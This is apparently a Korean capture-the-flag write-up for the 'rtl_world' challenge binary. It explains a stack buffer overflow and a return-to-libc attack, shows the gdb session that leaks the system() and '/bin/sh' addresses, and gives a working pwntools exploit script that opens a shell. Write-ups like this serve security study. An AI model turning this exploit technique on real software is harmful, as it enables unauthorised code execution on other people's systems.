문제 바이너리파일입니다
system armor 과 shell sword 가 있으면
Binary Boss 를 죽일수 있다하네요.
Binary boss 의 정보입니다.
32비트 리틀엔디언이고, ASLR 밖에 설정되어있지않습니다.
메모리주소가 주어져있네요. 어떤주소인지 차차 확인해봅시다.
2번 Get Money 입니다. Farming, Item selling, Hunting 은 각각
100, 350, 500 씩 벌 수 있습니다.
2번을 눌렀을때, Get_money함수를 호출하는데,
Get_money 에 4번을 누르면 rand() 값만큼 돈으로줍니다.
이걸로 system armor 과 shell sword 를 사서
system, shell 의 주소를 얻을수 있습니다.
gdb-peda$ x/x 0xf7e14200
0xf7e14200 <system> : 0x8b0cec83
gdb-peda$ x/s 0xf7f550cf
0xf7f550cf: "/bin/sh"
디버깅해서 확인결과 system 함수주소와 /bin/sh 문자열을 얻을 수 있단걸 알아냈다.
처음에 Binary Boss 가 산다고 하는 주소는
라이브러리의 베이스주소였다.
5번을 눌렀을때, BinaryBoss 를 공격할수있다.
ebp-0x8c 에 0x400만큼 입력을 받으니, overflow 가 발생한다.
return 0으로 정상종료하니, ret 주소를 조작할수있게된다.
[DUMMY] - ret까지 0x8c+4(ebp)
[system] - ret
[DUMMY] - 4
[/bin/sh]
이렇게 스택을 쌓으면 된다.
원래는 call system 으로
push eip+4 (ret)를 한뒤 system 으로 점프해서
[] <- esp
[ebp]
[ret]
[/bin/sh]
함수 프롤로그과정을 거친 후
ebp+8 로 첫번째 인자에 접근한다.
하지만 우리는 ret 로 리턴했기때문에
system 함수로 리턴했을때
원래 있어야할 ret 주소대신
DUMMY 값을 써준다.
ebp+8 자리 (첫번째인자) 에 /bin/sh 를 쓰기위해서
ebp+4 (ret주소) 에 DUMMY 4 byte 를 채워준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
def BinaryBoss(p):
p.recvuntil(">>> ")
p.sendline('1')
p.recvuntil("in ")
return int(p.recv(10),16)
def Money(p):
p.recvuntil(">>> ")
p.sendline('2')
p.recvuntil(">>> ")
p.sendline('4')
def sys_armor(p):
p.recvuntil(">>> ")
p.sendline('3')
p.recvuntil(" : ")
return int(p.recv(10),16)
def shell_sword(p):
p.recvuntil(">>> ")
p.sendline('4')
p.recvuntil(" : ")
return int(p.recv(10),16)
def attack(p,pay):
p.recvuntil(">>> ")
p.sendline('5')
p.recvuntil("> ")
p.send(pay)
from pwn import *
#r=process('./rtl_world')
#context.log_level='debug'
lib_base=BinaryBoss(r)
Money(r)
sys=sys_armor(r)
binsh=shell_sword(r)
payload=""
payload+='a'*0x8c
payload+='b'*4
payload+=p32(sys)
payload+='c'*4
payload+=p32(binsh)
attack(r,payload)
r.interactive()
|
사실 값을 안받아와도
rtl_world 바이너리 내에서
system함수를 사용하고, /bin/sh 문자열이 있기때문에
라이브러리값을 사용하지않아도 된다.
코딩능력향상을위해 길게써봤다.